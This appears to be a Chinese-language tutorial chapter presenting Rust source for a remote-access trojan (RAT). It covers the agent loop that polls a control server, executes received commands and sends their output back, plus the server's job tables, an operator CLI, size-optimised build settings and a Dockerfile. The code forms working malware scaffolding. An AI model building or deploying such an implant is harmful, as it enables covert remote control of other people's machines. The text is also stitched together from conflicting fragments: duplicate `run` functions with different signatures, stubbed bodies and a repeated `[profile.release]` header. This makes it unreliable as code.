Rust遠端命令執行系統設計與實作

CREATE TABLE agents (
    id UUID PRIMARY KEY,
    created_at TIMESTAMP WITH TIME ZONE NOT NULL,
    last_seen_at TIMESTAMP WITH TIME ZONE NOT NULL
);

CREATE TABLE jobs (
    id UUID PRIMARY KEY,
    created_at TIMESTAMP WITH TIME ZONE NOT NULL,
    executed_at TIMESTAMP WITH TIME ZONE,
    command TEXT NOT NULL,
    args JSONB NOT NULL,
    output TEXT,
    agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE
);
CREATE INDEX index_jobs_on_agent_id ON jobs (agent_id);

pub async fn create_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
    const QUERY: &str = "INSERT INTO jobs (id, created_at, executed_at, command, args, output, agent_id) VALUES ($1, $2, $3, $4, $5, $6, $7)";
    // ... 繫結引數並執行查詢
}

pub async fn update_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
    const QUERY: &str = "UPDATE jobs SET executed_at = $1, output = $2 WHERE id = $3";
    // ... 繫結引數並執行更新
}

pub async fn find_job_by_id(&self, db: &Pool<Postgres>, job_id: Uuid) -> Result<Job, Error> {
    const QUERY: &str = "SELECT * FROM jobs WHERE id = $1";
    // ... 執行查詢並處理結果
}

pub fn register(api_client: &ureq::Agent) -> Result<Uuid, Error> {
    let register_agent_route = format!("{}/api/agents", consts::SERVER_URL);
    // ... 向伺服器傳送註冊請求並處理回應
}

pub fn run(api_client: &ureq::Agent, agent_id: Uuid) -> ! {
    // ... 迴圈取得任務、執行命令並回傳結果
}

use std::{thread, time::Duration};
use crate::api;

pub fn run(api_client: &api::Client, agent_id: &str) -> Result<(), Error> {
    let sleep_for = Duration::from_secs(1);
    loop {
        // 向伺服器查詢是否有待執行的工作
        let api_res = match api_client.get_job(agent_id) {
            Ok(api_res) => api_res,
            Err(err) => {
                log::debug!("Error fetching job: {}", err);
                thread::sleep(sleep_for);
                continue;
            }
        };

        // 檢查伺服器是否回傳有效的工作
        let job = match api_res.data {
            Some(job) => job,
            None => {
                log::debug!("No job found. Trying again in: {:?}", sleep_for);
                thread::sleep(sleep_for);
                continue;
            }
        };

        // 執行工作並取得結果
        let output = execute_command(job.command, job.args);
        
        // 將執行結果回傳給伺服器
        let job_result = api::UpdateJobResult {
            job_id: job.id,
            output,
        };

        // 傳送工作結果回伺服器
        match api_client.post_job_result(job_result) {
            Ok(_) => {}
            Err(err) => {
                log::debug!("Error sending job's result back: {}", err);
            }
        };
    }
}

#### 內容解密：
此段程式碼實作了RAT代理端的主要邏輯，主要包含以下關鍵步驟：
1. 使用無限迴圈持續向伺服器查詢工作
2. 正確處理API回應並提取工作內容
3. 執行遠端指令並取得輸出結果
4. 將執行結果回傳給伺服器
5. 正確處理錯誤情況並進行重試

### 指令執行功能實作

#### 程式碼實作
```rust
fn execute_command(command: String, args: Vec<String>) -> String {
    let mut ret = String::new();
    let output = match Command::new(command).args(&args).output() {
        Ok(output) => output,
        Err(err) => {
            log::debug!("Error executing command: {}", err);
            return ret;
        }
    };

    ret = match String::from_utf8(output.stdout) {
        Ok(stdout) => stdout,
        Err(err) => {
            log::debug!("Error converting command's output to String: {}", err);
            return ret;
        }
    };
    ret
}

pub fn run(api_client: &api::Client, agent_id: &str, command: &str) -> Result<(), Error> {
    let agent_id = Uuid::parse_str(agent_id)?;
    let sleep_for = Duration::from_millis(500);
    let input = common::api::CreateJob {
        agent_id,
        command: command.trim().to_string(),
    };

    let job_id = api_client.create_job(input)?;
    loop {
        let job_output = api_client.get_job_result(job_id)?;
        if let Some(job_output) = job_output {
            println!("{}", job_output);
            break;
        }
        thread::sleep(sleep_for);
    }
    Ok(())
}

pub fn run(api_client: &api::Client) -> Result<(), Error> {
    let jobs = api_client.list_jobs()?;
    let mut table = Table::new();
    table.add_row(Row::new(vec![
        Cell::new("Job ID"),
        Cell::new("Created At"),
        Cell::new("Executed At"),
        Cell::new("command"),
        Cell::new("Args"),
        Cell::new("Output"),
        Cell::new("Agent ID"),
    ]));

    for job in jobs {
        table.add_row(Row::new(vec![
            Cell::new(job.id.to_string().as_str()),
            Cell::new(job.created_at.to_string().as_str()),
            Cell::new(job.executed_at.map(|t| t.to_string()).unwrap_or(String::new()).as_str()),
            Cell::new(job.command.as_str()),
            Cell::new(job.args.join(" ").as_str()),
            Cell::new(job.output.unwrap_or("".to_string()).as_str()),
            Cell::new(job.agent_id.to_string().as_str()),
        ]));
    }
    table.printstd();
    Ok(())
}

[profile.release]
opt-level = 'z'  # 為大小進行最佳化

[profile.release]
lto = true

[profile.release]
codegen-units = 1

#################################################################################################

## Builder
#################################################################################################
FROM rust:latest AS builder
WORKDIR /ch_10
COPY ./ .
RUN cargo build -p server --release

#################################################################################################

## Final image
#################################################################################################
FROM debian:buster-slim
# 建立無許可權使用者
ENV USER=ch_10
ENV UID=10001
RUN adduser \
    --disabled-password \
    --gecos "" \
    --home "/nonexistent" \
    --shell "/sbin/nologin" \
    --no-create-home \
    --uid "${UID}" \
    "${USER}"

WORKDIR /ch_10
# 複製建構結果
COPY --from=builder /ch_10/target/release/server ./
# 使用無許可權使用者執行
USER ch_10:ch_10
CMD ["/ch_10/server"]